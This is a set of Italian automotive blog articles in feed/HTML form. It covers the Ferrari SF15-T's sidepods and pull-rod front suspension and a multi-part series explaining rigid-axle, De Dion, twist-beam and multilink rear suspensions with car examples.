<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/150014eve.jpg"><img decoding="async" class="alignleft size-medium wp-image-48383" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/150014eve-300x161.jpg" alt="150014eve" width="300" height="161" title="Ferrari SF15-T, Analisi Tecnica 1044" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/150014eve-300x161.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/150014eve.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" /></a>Le fiancate sono più grosse. Non di molto ma appaiono ingrandite soprattutto nella parte superiore. Si vede chiaramente nella foto in alto,  come le masse radianti sono state ingrandite. Uno dei difetti della macchina della passata stagione era proprio un radiatore piccolo ma talmente denso di alette che frenava il flusso nella fiancata al posto di aiutarlo. Detto questo,  una massa radiante più grossa ma più permeabile anche se rende la fiancata più larga di qualche millimetro potrebbe essere più efficiente. Un altro aspetto da non trascurare è lo spostamento dell&#8217;intercooler nella fiancata che ha necessitato di un maggiore spazio, ma che dovrebbe senza dubbio avere il toccasana di far lavorare il motore con più potenza del 2014. Nella zona posteriore della fiancata c&#8217;è un condotto che porta aria calda delle masse radianti verso il centro del diffusore posteriore come si vede nella foto al lato. Sotto il condotto c&#8217;è la rastremazione verso la coda che rimane pressappoco uguale alla passata stagione.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/upferr1-e1422652333108.jpg"><img decoding="async" class="alignleft size-medium wp-image-48386" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/upferr1-300x164.jpg" alt="upferr1" width="300" height="164" title="Ferrari SF15-T, Analisi Tecnica 1045"></a>Detto questo le immagini non riescono a mostrare il lavoro fatto sulla sospensione posteriore in modo da capire angoli e posizioni dei bracci per poter fare un ragionamento concreto sull&#8217;efficacia delle modifiche soprattutto in tema di trazione. Invece per quello che riguarda la sospensione anteriore si può fare un analisi attenta. Come abbiamo parlato nella seconda parte delle nostre trattazioni sugli schemi delle sospensioni, abbiamo detto che lo schema quadrilatero ha il puntone che muove la molla o ammortizzatore  ad un determinato angolo sia che si tratti di una Push Rod classica o della Pull Rod come usa la Ferrari. Nella F14T questo braccio era pressappoco orizzontale. Con questa posizione cosi anormale per questo tipo di sospensione, il puntone aveva delle reazioni che rendevano troppo rigido l&#8217;avantreno con grossi problemi di messa appunto. Nella configurazione 2015 la Ferrari ha conservato la sospensione Pull Rod, ma ha spostato i bracci più in basso e soprattutto ha fatto si che il puntone della sospensione potesse assumere un angolo maggiore verso il basso. Non possiamo fare calcoli precisi, da quello che si vede nelle foto non siamo ancora nella posizione ottimale come una tradizionale Push Rod, ma di certo è posizionata molto meglio che nel 2014, al punto che forse consente una maggiore possibilità di regolazione,  abbastanza per dare una possibilità a questo schema così criticato anche nel 2015. La differenza è molto chiara dal confronto della foto che abbiamo messo come riquadro per confronto con la F14-T</p>
<p style="text-align: justify">In sostanza noi non siamo d&#8217;accordo con il direttore tecnico Maurizio Arrivabene, l&#8217;appellativo per questa SF15-T non è Sexy. Noi di GiornaleMotori ci sentiamo di dire che questa è la <strong>Ferrari SF15-T Easy</strong>! E come ha dimostrato Michael Schumacher nel 1997 quando fu Rory Byrne a progettare una monoposto tanto semplice quanto efficacie la F310B, non serve una vettura complessa per dare fastidio ai grandi.  Le aspettative restano ancorate saldamente con i piedi per terra, ma quando si parte da così in basso è lecito sperare in qualche soddisfazione.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Sospensioni parte VII, Retrotreno indipendente, Multilink</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 25 Jan 2015 10:16:26 +0000</pubDate>
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					<description><![CDATA[<p>La nostra panoramica sui sistemi di sospensioni che le autovetture moderne adottano per il retrotreno si chiude con lo schema a ruote indipendenti. Come abbiamo visto per la zona anteriore della vettura anche al posteriore le sospensioni indipendenti possono adottare il classico McPherson. Al retrotreno tale sistema viene progettato con differenze anche marcate da costruttore [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/McPherson5-e1422179708225.jpg"><img decoding="async" class="alignnone size-medium wp-image-48234" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/McPherson5-300x221.jpg" alt="McPherson5" width="300" height="221" title="Sospensioni parte VII, Retrotreno indipendente, Multilink 1053"></a></p>
<p style="text-align: justify">La nostra panoramica sui sistemi di sospensioni che le autovetture moderne adottano per il retrotreno si chiude con lo schema a ruote indipendenti. Come abbiamo visto per la zona anteriore della vettura anche al posteriore le sospensioni indipendenti possono adottare il classico McPherson. Al retrotreno tale sistema viene progettato con differenze anche marcate da costruttore a costruttore.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/05.jpg"><img decoding="async" class="alignleft size-medium wp-image-48232" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/05-300x225.jpg" alt="05" width="300" height="225" title="Sospensioni parte VII, Retrotreno indipendente, Multilink 1054" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/05-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/05-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2015/01/05.jpg 380w" sizes="(max-width: 300px) 100vw, 300px" /></a>Lo spazio a disposizione e le diverse esigenze dei progettisti hanno diversificato gli schemi. Il sistema base prevederebbe due bracci inferiori e un montante che funge da elemento elastico composto da molla e ammortizzatore. Le differenze sostanziali stanno nella tipologia e nella geometria che assumono i bracci inferiori. C&#8217;è il classico collegamento del portamozzo alla scocca longitudinale. Diverso può essere il braccio trasversale, il braccio che produce il movimento sotto l&#8217;azione delle asperità stradali. In alcuni casi ci sono due bracci di lunghezza uguale che lavorano con la ruota. Esempio di questo tipo sono le sospensioni della vecchia Lancia Delta nella foto sopra, come base per diventare campionessa nei rally abbinate alla trazione integrale.  Lo stesso è stato ripreso con grande successo sulla gamma Alfa Romeo 156/147, foto a lato. Per quello che riguarda pregi e difetti del sistema si rimanda alla trattazione che abbiamo già pubblicato in occasione della spiegazione sul McPheron all&#8217;avantreno.  Molte delle vetture che anche giapponesi che hanno fatto la storia del Rally sono partiti da questo sistema per poi evolversi verso un più efficacie Multilink.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/2012-honda-civic-ex-l-sedan-technical-illustration-for-multi-link-rear-suspension-photo-398218-s-1280x782-e1422179930434.jpg"><img decoding="async" class="alignleft size-medium wp-image-48235" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/2012-honda-civic-ex-l-sedan-technical-illustration-for-multi-link-rear-suspension-photo-398218-s-1280x782-300x183.jpg" alt="2012-honda-civic-ex-l-sedan-technical-illustration-for-multi-link-rear-suspension-photo-398218-s-1280x782" width="300" height="183" title="Sospensioni parte VII, Retrotreno indipendente, Multilink 1055"></a>Ci sono anche varianti in cui il braccio inferiore e scomposto in due bracci di lunghezza e posizione diversa detta tre bracci. In questo caso la sospensione è composta da due bracci che sono integrati con almeno uno longitudinale e da puntoni alla scocca.  I bracci che in questo caso sono definiti tirati, vengono infulcrati in posizione perfettamente perpendicolare all&#8217;asse della vettura. Questo sistema garantisce ottime doti di agilità in curva. L &#8216;esempio più famoso è lo schema che addotta la Honda Civic da molti anni ma che ha trovato la sua massima espressione con la nuova generazione della Mini, la piccola vettura anglotedesca è universalmente apprezzata per il suo comportamenti assimilabile ad un grosso Go Kart.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/sospensioni-anteriori-e1422180007693.jpg"><img decoding="async" class="alignleft size-medium wp-image-48237" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/sospensioni-anteriori-300x204.jpg" alt="sospensioni-anteriori" width="300" height="204" title="Sospensioni parte VII, Retrotreno indipendente, Multilink 1056"></a>Questo sistema a tre bracci  si sta diffondendo sulla maggior parte delle vetture piccole e medie di nuova diffusione come per esempio la nuova Alfa Romeo Giulietta, ma anche di vetture premium di fascia media come la BMW Serie 3. Questo perchè consente di avere tutte le caratteristiche di pregio di sospensioni tipo ponte torcente con le ruote sempre perpendicolari al terreno, ma anche costi non troppo elevati come il sistema McPherson pur migliorando gli aspetti di risposta e di prontezza nelle reazioni.  Di fatto però questo sistema a più bracci differenti ci porta direttamente nel campo della sospensione Multilink.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/figi1.jpg"><img decoding="async" class="alignleft size-medium wp-image-48238" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/figi1-227x300.jpg" alt="figi1" width="227" height="300" title="Sospensioni parte VII, Retrotreno indipendente, Multilink 1057"></a>Il sistema detto Multilink ovvero multibraccio, è una sospensione indipendente particolarmente adatta all&#8217;assale posteriore e si articola sull&#8217;azione combinata di più bracci longitudinali che lavorano assieme a bracci trasversali,  più di uno, e almeno un puntone diagonale, per un totale di cinque bracci nella sua versione più semplice. Molto diffuso è il sistema che ha almeno due puntoni diagonali per un totale di sei bracci. I link trasversali e i puntoni diagonali sono collegati ad un telaio ausiliario che viene collegato alla scocca.  I bracci longitudinali hanno il compito di collegare la ruota direttamente al telaio come negli schemi visti finora.  Il vantaggio dello schema Multilink e il controllo pressappoco totale della progressione geometrica su tutto l&#8217;arco di escursione della ruota quando viene sollecitata, inoltre consente di avere grandi doti di stabilità del veicolo in ogni condizione. Il retrotreno della vettura diventa molto più preciso nella risposta ai comandi del pilota e consente un facile recupero dell&#8217;assetto per sua grande progressione nelle reazioni, soprattutto in fase di scompenso del carico nelle condizioni di emergenza in curva come una frenata improvvisa per un ostacolo. Ovviamente il tutto come per il sistema McPherson è perfetto se lavora in simbiosi con una barra di torsione che mette in collegamento le due ruote.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/multilink_post.jpg"><img decoding="async" class="alignleft size-medium wp-image-48239" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/multilink_post-300x225.jpg" alt="multilink_post" width="300" height="225" title="Sospensioni parte VII, Retrotreno indipendente, Multilink 1058" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/multilink_post-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/multilink_post-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2015/01/multilink_post.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" /></a>Tutto bene tranne che per i costi di realizzazione e progettazione del sistema. Inoltre se non si fa un attento studio delle geometrie e del dimensionamento degli bracci diventa eccessivamente ingombrante togliendo spazio sia agli occupanti che al bagagliaio. Un sistema che si è diffuso sulla maggior parte dei modelli alto di gamma, ma che stenta a fare la sua comparsa su vetture compatte. La prima ad usarlo in modo diffuso è stata la Ford Focus MKI, ma già al Volkswagen per la sua Golf usa due sistemi, a ponte torcente per i modelli popolari e multilink per quelli più prestazionali e costosi. Il Multilink per le sue doti di controllo e di efficacia ha fatto la sua comparsa anche su vetture di particolare vocazione sportiva come Ferrari 458 Italia e Nissan GT-R che hanno sostituito il classico quadrilatero  con risultati universalmente riconosciuti che fanno delle berlinetta italiana e della GT Giapponese le pietre miliari nel loro  segmento.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/how-multi-link-suspension-works-7804_2-e1422180130534.jpg"><img decoding="async" class="alignleft size-medium wp-image-48240" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/how-multi-link-suspension-works-7804_2-300x200.jpg" alt="how-multi-link-suspension-works-7804_2" width="300" height="200" title="Sospensioni parte VII, Retrotreno indipendente, Multilink 1059"></a>La massima espressione del sistema Multilink oggi presente sul mercato è composta da addirittura sette bracci. Inaugurata dalla BMW per la sua gamma di vetture alte prestazioni è la più raffinata poi presa ad esempio da Audi e Mercedes per le loro auto alto di gamma. I sette bracci hanno connessioni con il telaio, longitudinali, trasversali, oblique, ma grazie al braccio in più anche verticali per un controllo delle escursioni e dell&#8217;azione sulla barra stabilizzatrice perfettamente eseguito. Risulta ulteriormente migliorata la stabilità in ogni condizione di marcia, garantendo il massimo confort con un comportamento sempre neutro della ruota rispetto alla scocca. Viene di per se che questa soluzione assicura una guida precisa, rapida, e progressiva nelle correzioni. Le vetture anche di grossa taglia di due tonnellate diventano agili come delle compatte con questa tipologia di sospensione.  Nella foto a lato c&#8217;è una versione molto simile sviluppata da Mercedes per le sue vetture alto di gamma come la Classe S.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
<p style="text-align: justify">
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		<title>Sospensioni parte VI, soluzioni posteriori Ponte Torcente e Semi Indipendenti</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 18 Jan 2015 10:40:36 +0000</pubDate>
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		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
		<guid isPermaLink="false">https://www.giornalemotori.com/?p=48092</guid>

					<description><![CDATA[<p>Abbiamo introdotto nel capitolo quinto le sospensioni a ponte rigido. Abbiamo anche detto che come alternativa esistono le sospensioni a ruote indipendenti. Come sempre i progettisti spesso cercano di trovare soluzioni ibride che tentano di mettere in comune gli aspetti positivi di più schemi limitando per quanto possibile gli svantaggi. Al retrotreno esistono le sospensioni [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2015/01/18/sospensioni-parte-vi-soluzioni-posteriori-ponte-torcente-e-semi-indipendenti/">Sospensioni parte VI, soluzioni posteriori Ponte Torcente e Semi Indipendenti</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/uno_rsus-e1421576316812.jpg"><img decoding="async" class="alignnone size-medium wp-image-48093" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/uno_rsus-300x201.jpg" alt="uno_rsus" width="300" height="201" title="Sospensioni parte VI, soluzioni posteriori Ponte Torcente e Semi Indipendenti 1065"></a></p>
<p style="text-align: justify">Abbiamo introdotto nel capitolo quinto le<strong> sospensioni</strong> a ponte rigido. Abbiamo anche detto che come alternativa esistono le sospensioni a ruote indipendenti. Come sempre i progettisti spesso cercano di trovare soluzioni ibride che tentano di mettere in comune gli aspetti positivi di più schemi limitando per quanto possibile gli svantaggi. Al retrotreno esistono le sospensioni a ruote <strong>interconnesse dette anche ponte torcente o semi indipendenti</strong>.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/4665544_orig-e1421576552500.jpg"><img decoding="async" class="alignleft size-medium wp-image-48094" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/4665544_orig-300x225.jpg" alt="4665544_orig" width="300" height="225" title="Sospensioni parte VI, soluzioni posteriori Ponte Torcente e Semi Indipendenti 1066"></a>La sospensione s<strong>emi-indipendente</strong>, viene usata per la stragrande maggioranza delle vetture a trazione anteriore, grazie al suo costo contenuto e la semplicità di realizzazione, è stata uno dei cavalli di battaglia che hanno fatto la fortuna di vetture che hanno segnato il mercato come la Volkswagen Golf e la Fiat Uno, per poi diffondersi su tutte le auto di piccola e media cilindrata che compongono il mercato dell&#8217;auto. La sospensione è composta da due bracci longitudinali collegati alla scocca e il portamozzo, questi vengono congiunti uno all&#8217;altro da una trave o traversa di collegamento. Questa traversa a differenza del ponte rigido, viene dotata di un certo grado di flessibilità. Quindi sotto l&#8217;azione dei due bracci quando vengono sollecitati,  la traversa viene sottoposta a torsione controllando il movimento delle due ruote. Il sistema viene spesso chiamato anche appunto Ponte Torcente per la sua azione, il collegamento alla carrozzeria viene affidato ai soliti elementi flessibili composti da ammortizzatori e molle anche se non sempre coassiali fra di loro.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/MotoreRuote_FOTO2.jpg"><img decoding="async" class="alignleft size-medium wp-image-48095" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/MotoreRuote_FOTO2-300x225.jpg" alt="MotoreRuote_FOTO2" width="300" height="225" title="Sospensioni parte VI, soluzioni posteriori Ponte Torcente e Semi Indipendenti 1067" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/MotoreRuote_FOTO2-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/MotoreRuote_FOTO2-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2015/01/MotoreRuote_FOTO2-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2015/01/MotoreRuote_FOTO2-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2015/01/MotoreRuote_FOTO2.jpg 800w" sizes="(max-width: 300px) 100vw, 300px" /></a>Anche se differente dal ponte rigido, questa soluzione conserva la caratteristica di tenere le ruote sempre perpendicolari al terreno con ottime doti di resistenza alle forze trasversali in curva. La differenza sostanziale sta nel fatto che migliora il comportamento dal punto di vista del confort e del controllo della stabilità sui fondi viscidi e sconnessi, grazie ad una risposta neutra del telaio grazie proprio alla minore rigidezza e il maggior movimento che le ruote possono avere una rispetto all&#8217;altra rispetto al ponte rigido.   Queste caratteristiche conservano anche il difetto di far lavorare tanto l&#8217;avantreno con un certo sottosterzo.  Entrando nel campo delle sospensioni indipendenti c&#8217;è una soluzione che utilizza ancora bracci longitudinali, la cui barra di collegamento tra le due ruote non viene interposta tra la mezzeria ma piuttosto collega le due ruote al punto di ancoraggio alla scocca. In questo modo il momento di torsione viene innescato dall&#8217;azione di tutto il braccio che si muove sotto le sollecitazioni provenienti dalla ruota. La barra centrale in questo caso prende la funzione vera e propria di una molla data la sua flessibilità maggiore che un ponte rigidito o un ponte torcente.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/r5rearSusp.gif"><img decoding="async" class="alignleft size-medium wp-image-48096" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/r5rearSusp-300x196.gif" alt="r5rearSusp" width="300" height="196" title="Sospensioni parte VI, soluzioni posteriori Ponte Torcente e Semi Indipendenti 1068"></a>Questo sistema semplice ed economico è stato la fortuna di quasi la totalità delle vetture francesi anni 70 fino agli anni 90. Vetture come la Renault 5 GT Turbo, la Peugeot 205 GTI, la Peugeot 106 Rally. Nonostante i limiti del sistema che non consentiva un perfetto controllo delle geometrie, permetteva comunque mediante un attendo studio sulla condizione di lavoro della barra di collegamento che in taluni casi era più di una, ed un attento lavoro sugli snodi di collegamento flessibili, permetteva di avere un comportamento della coda molto mobile ma soprattutto permetteva di controllare il sottosterzo con una maggiore mobilità della coda dell&#8217;auto. Le vetture che adottavano questo schema sono anche state nella loro inclinazione sportiva un punto di riferimento per tutti gli appassionati che volevano vetture da Rally con costi contenuti e comportamenti stradali controllabili ed efficaci con determinate tarature. Da notare come nella foto a lato nella sospensione della R5 GT non vi era come elemento elastico la molla vera e propria lasciando il lavoro di smorzamento agli ammortizzatori e alle barre.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/trail_coupe-e1421576682985.jpg"><img decoding="async" class="alignleft size-medium wp-image-48097" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/trail_coupe-300x209.jpg" alt="trail_coupe" width="300" height="209" title="Sospensioni parte VI, soluzioni posteriori Ponte Torcente e Semi Indipendenti 1069"></a>Molte delle auto che abbiamo elencato ancora oggi ad anni di distanza sono un punto di riferimento per gli appassionati della guida.  Proprio questa tipologia di sospensione, mostra come sia importante a prescindere dallo schema che si sceglie, la progettazione e il dimensionamento degli elementi da parte dei progettisti. Il tipo di barra, gli snodi dei bracci, e la progettazione delle geometrie con cui deve far lavorare la sospensione possono fare la fortuna o meno di uno schema. Questa sospensione a ruote semi indipendenti con barra di torsione di collegamento fu adottata anche dalla gamma Fiat Tipo e tutte le vetture sue derivate fino alle più sportive Alfa Romeo, quello nella foto a lato era della sportiva di casa Fiat Coupè. Siamo sicuri che tutti ricordano quella serie di berline per lo spazio e il confort ed affidabilità in tutte le condizioni di guida,  ma non certo per il loro particolare comportamento stradale divertente e sportivo come invece succede per le cugine di Francia, Peugeot e Renault.</p>
<p>Daniele Amore</p>
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		<title>Le sospensioni Parte V, Ponte Rigido e il De Dion</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 12 Jan 2015 13:21:24 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Dopo aver compreso come si articolano le sospensioni all&#8217;avantreno delle automobili, ora è il momento di passare al retrotreno. Nella zona posteriore anche per maggiore spazio a disposizione ci sono soluzioni molteplici e differenti schemi. Come sempre ci sono due famiglie di sospensioni, indipendenti ed a ponte rigido o interconnesse. In questa trattazione partiremo da [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2015/01/12/le-sospensioni-parte-v-ponte-rigido-e-il-de-dion/">Le sospensioni Parte V, Ponte Rigido e il De Dion</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: center;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/5.jpg"><img decoding="async" class="alignnone size-medium wp-image-47887" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/5-300x200.jpg" alt="5" width="300" height="200" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1078"></a></p>
<p style="text-align: justify;">Dopo aver compreso <a href="https://www.giornalemotori.com/2015/01/04/le-sospensioni-parte-iv-mcpherson-e-le-sue-derivate-per-la-parte-anteriore-dellauto/" target="_blank"><span style="text-decoration: underline; color: #000080;"><strong>come si articolano le sospensioni all&#8217;avantreno</strong></span></a> delle automobili, ora è il momento di passare al retrotreno. Nella zona posteriore anche per maggiore spazio a disposizione ci sono soluzioni molteplici e differenti schemi. Come sempre ci sono due famiglie di sospensioni, indipendenti ed a ponte rigido o interconnesse. In questa trattazione partiremo da queste ultime essendo quelle che da sempre sono utilizzate per i veicoli, fin dagli albori</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/2b8211c5.jpg"><img decoding="async" class="alignleft size-medium wp-image-47886" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/2b8211c5-300x208.jpg" alt="2b8211c5" width="300" height="208" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1079"></a>Le sospensioni a ponte rigido, come dice il nome stesso, collegano le due ruote posteriori con un elemento rigido. Il sistema cambia nella geometria se la trazione si trova all&#8217;anteriore o al posteriore. Nel caso in cui il veicolo sia a trazione anteriore, il ponte rigido è costituito da un elemento che può essere di forma diversa a seconda della scelta del progettista(2) nella foto a lato, che congiunge direttamente i mozzi delle due ruote. La posizione corretta rispetto alla cassa e alla strada è assicurata dal collegamento alla scocca da bracci longitudinali (3,4). Per evitare che il ponte abbia movimenti trasversali od oscillazioni nocive quando viene sollecitato dalle asperità stradali c&#8217;è una barra che collega un estremità del ponte direttamente alla cassa, questa barra porta il nome di barra Panhard (1). Gli elementi elastici sono composti da molle e ammortizzatori non necessariamente in un corpo unico, ma che possono anche essere separati. Ci sono casi dove gli elementi elastici sono composti da Balestre, un elemento che persiste ancora su alcune vetture americane anche di grandi prestazioni nonostante sia ritenuto datato come sistema di ammortizzamento. Questo tipo di sistema era visibile sulla gamma Alfa Romeo Alfa Sud e sue derivate Sprint, e Alfa 33 fino agli anni 90 inoltrati.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/3-e1421058352479.jpg"><img decoding="async" class="alignleft size-medium wp-image-47888" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/3-300x200.jpg" alt="3" width="300" height="200" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1080"></a>Uno dei pregi della sospensione a ponte rigido, è quello di avere un peso relativamente contenuto, e di consentire di tenere una geometria fissa, con le ruote posteriori sempre perpendicolare al terreno. Essendo un collegamento rigido tra le due ruote, questo sistema conserva solo discrete capacità di assorbimento delle asperità che inficiano leggermente le caratteristiche di confort per gli occupanti, soprattutto per le asperità secche che arrivano alla scocca. La sua perfetta tenuta geometrica rispetto al terreno inoltre, deve essere coadiuvata da una precisione e un sistema sospensione anteriore particolarmente efficacie, infatti in curva la sua capacità di tenuta scarica sull&#8217;avantreno la capacità di resistere alla forza laterale. Molte vetture che usano il ponte rigido hanno un aumento del sottosterzo, una cosa che tutti i progettisti cercano di infondere in un veicolo per il fatto che è molto più facilmente controllabile da un driver anche meno esperto. In sostanza quando si viaggia al limite della tenuta a cedere è sempre prima l&#8217;avantreno quando si adotta un retrotreno a ponte rigido. Uno dei sistemi a ponte rigido ancora oggi usato esempio di efficacia di lavoro in simbiosi con l&#8217;avantreno è la gamma Opel per Insigna,e  Astra.  Uno dei limiti del sistema sta proprio nella sua capacità di essere poco modulabile, potendo lavorare con un unica geometria prefissata. Inoltre anche se ha un peso contenuto, non si può dire certo che è di misura contenuta, un ponte rigido con bracci e barra Panhard occupa molto spazio al retrotreno che obbliga ad una progettazione della scocca che sacrifica parte dell&#8217;abitabilità e del bagagliaio.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/images1.jpg"><br />
<img decoding="async" class="alignleft size-medium wp-image-47894" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/images1.jpg" alt="images" width="270" height="187" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1081"></a>Quando al posteriore ci sono gli organi di trazione, il ponte rigido è composto da un elemento rigido che congiunge i due mozzi all&#8217;interno del quale ci sono gli organi di trazione come i semiassi, anche qui si ha un collegamento alla scocca mediante bracci longitudinali, puntoni, e in alcuni casi una barra Panhard che può assumere diverse forme e diverso ancoraggio rispetto a quanto si ha la trazione anteriore.  Si tratta di un tipo di sospensione che si adatta molto facilmente alle vetture che hanno gli organi di trazione al posteriore, assicurando una buona trazione e una buona tenuta di strada. Nel caso in cui ci siano potenze elevate si possono avere delle criticità dovute alla stessa rigidità del sistema che non adatta gli angoli alle necessità soprattutto al limite di tenuta.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/mustangirs_lead-e1421062801548.jpg"><img decoding="async" class="alignleft size-medium wp-image-47896" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/mustangirs_lead-300x178.jpg" alt="mustangirs_lead" width="300" height="178" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1082"></a>Come nel caso del sistema per trazione anteriore, in condizioni limite a cedere è per primo l&#8217;avantreno. Il driver nel tentare di correggere con un rilascio dell&#8217;acceleratore, il retrotreno a ponte rigido potrebbe,  avere reazioni che con l&#8217;aggiunta della trazione  potrebbe innescare brusche reazioni che necessitano di correzioni che sono capacità di un guidatore più esperto della media. Nel caso della trazione posteriore, il ponte rigido ingloba anche gli organi di trazione come differenziale e semiassi diventando di fatto molto pesante con inerzie molto rilevanti in fase di movimento. Questo limita non poco il confort di marcia, amplificando le vibrazioni e le sollecitazioni che arrivano agli occupanti. Uno dei vantaggi rimane il costo molto basso. Questo sistema è ormai pressappoco sparito dalle vetture europee, ma persiste ancora su alcune vetture americane anche di potenza rilevante come le moderne riedizioni di muscle car. Un esempio su tutti erano la generazione do Ford Mustang fino al 2013</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/SZ-RZ_09-e1421058445176.jpg"><img decoding="async" class="alignleft size-medium wp-image-47890" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/SZ-RZ_09-300x224.jpg" alt="SZ-RZ_09" width="300" height="224" title="Le sospensioni Parte V, Ponte Rigido e il De Dion 1083"></a>C&#8217;è un tipo di schema di sospensioni a ponte, che è diventato simbolo di ottima tenuta di strada e di raffinatezza meccanica. Il ponte De Dion. Creato dal costruttore Francese agli albori del 900 sulle vetture che portavano il suo nome, si è sviluppato nelle vetture sportive di varie marche fino agli anni 80. Simbolo particolare delle vetture Alfa Romeo che ha sviluppato il sistema nel suo massimo livello di tenuta di strada. Di fatto viene ancora oggi considerato come un sistema di sospensione posteriore per vetture che hanno la trazione dietro, ottimale, il sistema definitivo. Consiste da due strutture congiunte. Un sistema di collegamento che ha forma ad &#8220;U&#8221; e un altra di collegamento alla scocca di forma a &#8220;V&#8221; al posto dei bracci, le quali mediante l&#8217;azione di snodi particolari controllano l&#8217;escursione verticale delle ruote mantenendole sempre perpendicolari al terreno con una notevole resistenza alle forze laterali anche con notevoli oscillazioni della carrozzeria. Al centro del ponte gli organi meccanici di trasmissione. Nel caso delle vetture Alfa Romeo nel centro del ponte vi era anche la scatola del cambio che messa al posteriore definiva lo schema detto transaxle otteneva una migliore ripartizione dei pesi con motore anteriore dietro l&#8217;asse ruota e il cambio al posteriore in blocco con la sospensione.</p>
